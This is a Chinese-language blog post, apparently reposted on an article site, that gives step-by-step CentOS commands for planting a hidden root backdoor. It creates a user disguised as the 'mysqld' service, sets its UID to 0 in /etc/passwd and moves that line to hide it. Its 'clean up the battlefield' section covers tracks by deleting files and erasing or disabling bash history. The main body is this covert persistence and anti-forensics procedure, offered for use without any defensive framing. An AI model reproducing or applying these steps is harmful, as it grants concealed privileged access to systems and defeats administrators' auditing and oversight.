centos创建mysqld用户隐蔽位置

2024-04-09 05:18

本文主要是介绍centos创建mysqld用户隐蔽位置,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、添加普通用户
[root@server ~]# useradd mysqld   //添加一个名为mysqld的用户或使用mysqls
[root@server ~]# passwd mysqld    //修改密码
Changing password for user mysqld.
New UNIX password:                   //在这里输入新密码
Retype new UNIX password:            //再次输入新密码
passwd: all authentication tokens updated successfully

2、创建新的用户目录
mkdir /var/lib/mysqld
chmod 777 /var/lib/mysqld
3、转移用户目录
转移两个关键文件.bash_profile和.bashrc
cp /home/mysqld/.bashrc  /var/lib/mysqld
cp /home/mysqld/.bash_profile   /var/lib/mysqld
4、赋予root权限
方法3):修改/etc/passwd文件,找到如下行,把用户ID修改为0,如下所示:
vi /etc/passwd
mysqld:x:1000:1001::/home/mysqld:/bin/bash
修改为
mysqld:x:0:1001::/var/lib/mysqld:/bin/bash
同时,可以打乱此行所在位置,上移一个或两个位置即可
修改后保存,用mysqld账户登录后,直接获取的就是root帐号的权限。
5、清理战场
使用新用户登录后,用Xftp直接删除/home/mysqld文件夹,用户目录
或使用命令 rm -rf /home/mysqld
删除root帐号操作历史
vi /root/.bash_history
按一下大写的G可以直接到达文件尾,找到刚才的操作记录都删除即可
:wq保存即可

history -c 将当前缓存中的历史记录清除后,退出

 注:             -c      清除历史记录
                     -a      将历史命令缓冲区命令记录到文件中

                     -w      将当前历史命令缓冲区命令记录到文件中

区别:

history -a   将history命令中所能看到的所有命令都追加入.bash_history文件中。
history -w   将未更新在.bash_history文件中的历史命令进行追加。

-------------------------------
禁用当前会话的历史记录(推荐使用)
在登录后执行下列命令,此会话不记录历史命令
export HISTSIZE=0

如果不想记录当前 会话操作的命令的话 可以使用命令
set +o history
但是这个命令有一个坏处, 他自己被记住了...

结束隐藏命令记录set -o history 

set -o history 命令不会被记录到历史中 

这篇关于centos创建mysqld用户隐蔽位置的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/887259

相关文章

Python中使用uv创建环境及原理举例详解

《Python中使用uv创建环境及原理举例详解》uv是Astral团队开发的高性能Python工具,整合包管理、虚拟环境、Python版本控制等功能,:本文主要介绍Python中使用uv创建环境及... 目录一、uv工具简介核心特点:二、安装uv1. 通过pip安装2. 通过脚本安装验证安装:配置镜像源(可

Java中实现线程的创建和启动的方法

《Java中实现线程的创建和启动的方法》在Java中,实现线程的创建和启动是两个不同但紧密相关的概念,理解为什么要启动线程(调用start()方法)而非直接调用run()方法,是掌握多线程编程的关键,... 目录1. 线程的生命周期2. start() vs run() 的本质区别3. 为什么必须通过 st

Macos创建python虚拟环境的详细步骤教学

《Macos创建python虚拟环境的详细步骤教学》在macOS上创建Python虚拟环境主要通过Python内置的venv模块实现,也可使用第三方工具如virtualenv,下面小编来和大家简单聊聊... 目录一、使用 python 内置 venv 模块(推荐)二、使用 virtualenv(兼容旧版 P

CentOS 7 YUM源配置错误的解决方法

《CentOS7YUM源配置错误的解决方法》在使用虚拟机安装CentOS7系统时,我们可能会遇到YUM源配置错误的问题,导致无法正常下载软件包,为了解决这个问题,我们可以替换YUM源... 目录一、备份原有的 YUM 源配置文件二、选择并配置新的 YUM 源三、清理旧的缓存并重建新的缓存四、验证 YUM 源

Linux lvm实例之如何创建一个专用于MySQL数据存储的LVM卷组

《Linuxlvm实例之如何创建一个专用于MySQL数据存储的LVM卷组》:本文主要介绍使用Linux创建一个专用于MySQL数据存储的LVM卷组的实例,具有很好的参考价值,希望对大家有所帮助,... 目录在Centos 7上创建卷China编程组并配置mysql数据目录1. 检查现有磁盘2. 创建物理卷3. 创

Mysql中的用户管理实践

《Mysql中的用户管理实践》:本文主要介绍Mysql中的用户管理实践,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录13. 用户管理13.1 用户 13.1.1 用户信息 13.1.2 创建用户 13.1.3 删除用户 13.1.4 修改用户

如何更改pycharm缓存路径和虚拟内存分页文件位置(c盘爆红)

《如何更改pycharm缓存路径和虚拟内存分页文件位置(c盘爆红)》:本文主要介绍如何更改pycharm缓存路径和虚拟内存分页文件位置(c盘爆红)问题,具有很好的参考价值,希望对大家有所帮助,如有... 目录先在你打算存放的地方建四个文件夹更改这四个路径就可以修改默认虚拟内存分页js文件的位置接下来从高级-

PyCharm如何更改缓存位置

《PyCharm如何更改缓存位置》:本文主要介绍PyCharm如何更改缓存位置的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录PyCharm更改缓存位置1.打开PyCharm的安装编程目录2.将config、sjsystem、plugins和log的路径

详解如何在SpringBoot控制器中处理用户数据

《详解如何在SpringBoot控制器中处理用户数据》在SpringBoot应用开发中,控制器(Controller)扮演着至关重要的角色,它负责接收用户请求、处理数据并返回响应,本文将深入浅出地讲解... 目录一、获取请求参数1.1 获取查询参数1.2 获取路径参数二、处理表单提交2.1 处理表单数据三、

Java 如何创建和使用ExecutorService

《Java如何创建和使用ExecutorService》ExecutorService是Java中用来管理和执行多线程任务的一种高级工具,可以有效地管理线程的生命周期和任务的执行过程,特别是在需要处... 目录一、什么是ExecutorService?二、ExecutorService的核心功能三、如何创建